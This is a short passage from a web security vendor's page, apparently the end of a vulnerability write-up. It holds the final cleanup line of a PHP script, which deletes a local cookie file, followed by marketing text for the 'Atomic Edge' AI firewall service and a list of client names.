// Step 4: Clean up
unlink('cookies.txt');

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School